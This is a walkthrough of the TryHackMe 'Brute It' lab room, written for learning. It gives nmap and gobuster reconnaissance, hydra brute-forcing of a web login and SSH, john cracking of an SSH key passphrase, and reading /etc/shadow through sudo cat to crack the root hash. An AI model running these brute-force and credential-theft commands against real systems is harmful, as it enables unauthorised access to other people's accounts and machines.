The Brute it room on TryHackMe is an easy-level, brute-forcing focused room. From the amount of questions and questions it seems like a bit of a walkthrough, but that’s fine by me!

Learn how to brute, hash cracking and escalate privileges in this box!

Brute-forcing with hydra and cracking hashes with john are things I’ve done before. I’ve not escalated privileges all that often, so I’m excited to see how we can do this (Linpeas maybe? We’ll see!)


Deploy the machine

Easy enough. I always like when a room’s first question is to launch a room. Makes it easy to get a streak too… ;)


Before attacking, let’s get information about the target Search for open ports using nmap. How many ports are open?

I like the structure of this room. I’ve said this in previous posts - I’m not on the Red-Team. I enjoy the investigation side of InfoSec over exploitation so it’s nice when a room gives a guide.

So - How many ports are open? Let’s run a quick nmap scan:

root@ip-10-201-25-219:~# nmap 10.201.103.236
Starting Nmap 7.80 ( https://nmap.org ) at 2025-08-10 11:14 BST
Nmap scan report for ip-10-201-103-236.ec2.internal (10.201.103.236)
Host is up (0.000080s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 16:FF:F6:C8:9E:27 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

I’ve addressed this in previous write-ups but I don’t tend to add any options to nmap when I’m conucting initial recon on a target machine. For these easy level rooms that’s all you usually need anyway…


What version of SSH is running?

… Except for this room.

root@ip-10-201-25-219:~# nmap 10.201.103.236 -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2025-08-10 11:19 BST
Nmap scan report for ip-10-201-103-236.ec2.internal (10.201.103.236)
Host is up (0.000085s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH *.*** ****** 4******0.3 (******Linux; protocol 2.0)
80/tcp open  http    Apache httpd *.*.** ((******))
MAC Address: 16:FF:F6:C8:9E:27 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.91 seconds

Adding -sV makes this pretty simple to see the answer.


What version of Apache is running?

We get the answer for this above as well.


Which Linux distribution is running?

Same with this answer. We’re speeding through these questions!


Search for hidden directories on web server. What is the hidden directory?

Alright, gobuster time!
I like gobuster. There are other tools you can use - dirbuster, dirb, ffuf, but gobuster is my go to. It’s just nice to use. If you go back through my write-ups you’ll see me using a whole lot of tools - I’ve settled on gobuster for now though:

root@ip-10-201-25-219:~# gobuster dir -u 10.201.103.236 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.103.236
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/*******               (Status: 301) [Size: 316] [--> http://10.201.103.236/*******/]
Progress: 141708 / 141709 (100.00%)
===============================================================
Finished
===============================================================

Wonderful! Now we have the super secret directory. Onto the next task!


What is the user:password of the admin panel?

If we go to the URL we found above we’re greeted by the below login page: a login page with a grey background. The heading reads “Login”, the two fields have smaller headings that read “Username” and “Password” respectively

I like to look at the source of pages before attempting a blind brute-force. CTFs often like to give little hints in comments. You can also see where scripts are that are being run are which can be useful.
Thankfully this room has a pretty big hint in the source:


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="styles.css">
    <title>Admin Login Page</title>
</head>
<body>
    <div class="main">
        <form action="" method="POST">
            <h1>LOGIN</h1>

            
            <label>USERNAME</label>
            <input type="text" name="user">

            <label>PASSWORD</label>
            <input type="password" name="pass">

            <button type="submit">LOGIN</button>
        </form>
    </div>

    <!-- Hey john, if you do not remember, the username is admin -->
</body>
</html>

Time to bruteforce admin’s password!
We’ll be using hydra for this. I wanted to get the error message we get - So I tried admin:password to get the error message ‘Username or password invalid’. We can use this in just a bit!

Next we’ll open up Burpsuite and enter the url we found to the sandbox. We want to capture the request so we can see how it’s formed (and bruteforce). We can bruteforce it through Burpsuite - But I like using Hydra. Sue me.

Here’s the request:

POST /*******/ HTTP/1.1
Host: 10.201.103.236
Content-Length: 28
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://10.201.103.236
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.201.103.236/*****/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=qrad813of7k094u2non92efpeu
Connection: keep-alive

user=admin&pass=gejsnhjdnhas

Cool - All we really need is at the bottom there.

Along with the error message we received earlier, we now have enough to brute force this password.

root@ip-10-201-25-219:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.201.103.236 http-post-form "/*****/:user=admin&pass=^PASS^:invalid"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-10 12:06:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.201.103.236:80/*****/:user=admin&pass=^PASS^:invalid
[ERROR] Child with pid 16276 terminating, cannot connect
[ERROR] Child with pid 16279 terminating, cannot connect
[ERROR] Child with pid 16282 terminating, cannot connect
[ERROR] Child with pid 16278 terminating, cannot connect
[ERROR] Child with pid 16283 terminating, cannot connect
[ERROR] Child with pid 16285 terminating, cannot connect
[ERROR] Child with pid 16281 terminating, cannot connect
[ERROR] Child with pid 16286 terminating, cannot connect
[ERROR] Child with pid 16273 terminating, cannot connect
[ERROR] Child with pid 16287 terminating, cannot connect
[ERROR] Child with pid 16274 terminating, cannot connect
[ERROR] Child with pid 16288 terminating, cannot connect
[ERROR] Child with pid 16275 terminating, cannot connect
[ERROR] Child with pid 16280 terminating, cannot connect
[ERROR] Child with pid 16284 terminating, cannot connect
[ERROR] Child with pid 16277 terminating, cannot connect

Well. That wasn’t going well.
I did some quick searching and this should be working fine. I ended up terminating the current instance of the machine and relaunching it. Let’s try again!

root@ip-10-201-55-71:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.201.115.13 http-post-form "/*****/:user=^USER^&pass=^PASS^:F=Username or password invalid" 
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-10 12:18:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.201.115.13:80/*****/:user=^USER^&pass=^PASS^:F=Username or password invalid
[80][http-post-form] host: 10.201.115.13   login: admin   password: *****
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-10 12:19:01

That worked!

I think this is a good time to talk about walkthroughs on rooms like this. When you’re starting out on challenges like this there’s nothing wrong with looking at a walkthrough when you get stuck. If you’re stuck and not too sure what the next steps are then a walkthrough will point you in the right direction. When I first started doing challenges I felt weird about this - It almost felt like cheating. Thankfully most of the rooms on TryHackMe have writeups listed that don’t just give you the answer. It doesn’t reflect badly on you for looking for hints.

Anyway - I’ll also try brute-force the ssh login, just in case the username admin is used there too:

root@ip-10-201-55-71:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.201.115.13 
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-10 12:28:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.201.115.13:22/
[STATUS] 179.00 tries/min, 179 tries in 00:01h, 14344222 to do in 1335:36h, 16 active
[STATUS] 130.33 tries/min, 391 tries in 00:03h, 14344010 to do in 1834:17h, 16 active

We’ll let that run in the background for a while. It’s likely we’ll get more information later on anyway.


Crack the RSA key you found. What is John’s RSA Private Key passphrase?

If we go to the URL and enter the credentials we brute-forced we’re greeted by a nice fancy webpage (No CSS, just a header) - “Hello john, finish the development of the site, here’s your RSA private key.”
We also get a flag, but we’ll touch on that later.

john time. We have the id_rsa file, but need this in a format that john can read. We can use ssh2john.py to do this pretty easily. I downloaded the file into ~/Downloads/ first, then ran ssh2john.py on it, then let john go wild:

root@ip-10-201-55-71:~/Downloads# /opt/john/ssh2john.py ./id_rsa  > johnny
root@ip-10-201-55-71:~/Downloads# john ./johnny --wordlist=/usr/share/wordlists/rockyou.txt 
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
**********       (./id_rsa)
1g 0:00:00:09 DONE (2025-08-10 12:41) 0.1074g/s 1540Kp/s 1540Kc/s 1540KC/s *7¡Vamos!
Session completed. 

There’s the cracked password for it!


user.txt

This took me longer than expected. With the password we just got I assumed this was the ssh password, but no - it’s the password for the RSA Private Key. I should’ve pieced this together by the wording of the previous question. Whoopsies.

root@ip-10-201-55-71:~/Downloads# ssh -i ./id_rsa john@10.201.115.13
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for './id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "./id_rsa": bad permissions

Looks like we’ll need to change the permissions on the rsa key first.

root@ip-10-201-55-71:~/Downloads# chmod 600 ./id_rsa 
root@ip-10-201-55-71:~/Downloads# ssh -i ./id_rsa john@10.201.115.13
Enter passphrase for key './id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-118-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Aug 10 11:51:47 UTC 2025

  System load:  0.07               Processes:           109
  Usage of /:   25.7% of 19.56GB   Users logged in:     0
  Memory usage: 21%                IP address for ens5: 10.201.115.13
  Swap usage:   0%


63 packages can be updated.
0 updates are security updates.


Last login: Wed Sep 30 14:06:18 2020 from 192.168.1.106

There we go. Now to find the flag:

john@bruteit:~$ ls
user.txt
john@bruteit:~$ cat user.txt 
THM{**********************}

Easy peasy.


Web flag

The pacing of the questions is a little weird. We get the web flag earlier before we even download the rsa file but the question for the flag is only asked for here. If we go to the URL where we downloaded the file (after logging in with the credentials we cracked earlier) we get the flag.


Find a form to escalate your privileges. What is the root’s password?

This is where I’ve not had too much experience before. We can run sudo -l to see what files we can run as sudo:

john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat

We can use cat as sudo. Let’s see if we can cat /etc/shadow to find the hash for root:

john@bruteit:~$ sudo cat /etc/shadow | grep root
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::

Now that we have the hash of their password we can use john once again. I saved the first part of the hash to a file named roothash before this:

root@ip-10-201-55-71:~# john ./roothash --wordlist=/usr/share/wordlists/rockyou.txt 
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*********         (?)
1g 0:00:00:00 DONE (2025-08-10 13:08) 2.040g/s 522.4p/s 522.4c/s 522.4C/s 123456..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We have the root password now. We can just su to root and get the final flag:

john@bruteit:~$ su root
Password: 
root@bruteit:/home/john# cd 
root@bruteit:~# ls
root.txt
root@bruteit:~# cat root.txt 
THM{********************}

A heading that reads ‘You did it! 🎉 Brute It complete!’ With 330 points earned, four completed tasks, the room type is ‘challenge’, difficulty of ’easy’ and a streak of 214 days.


That was fun! Another room down.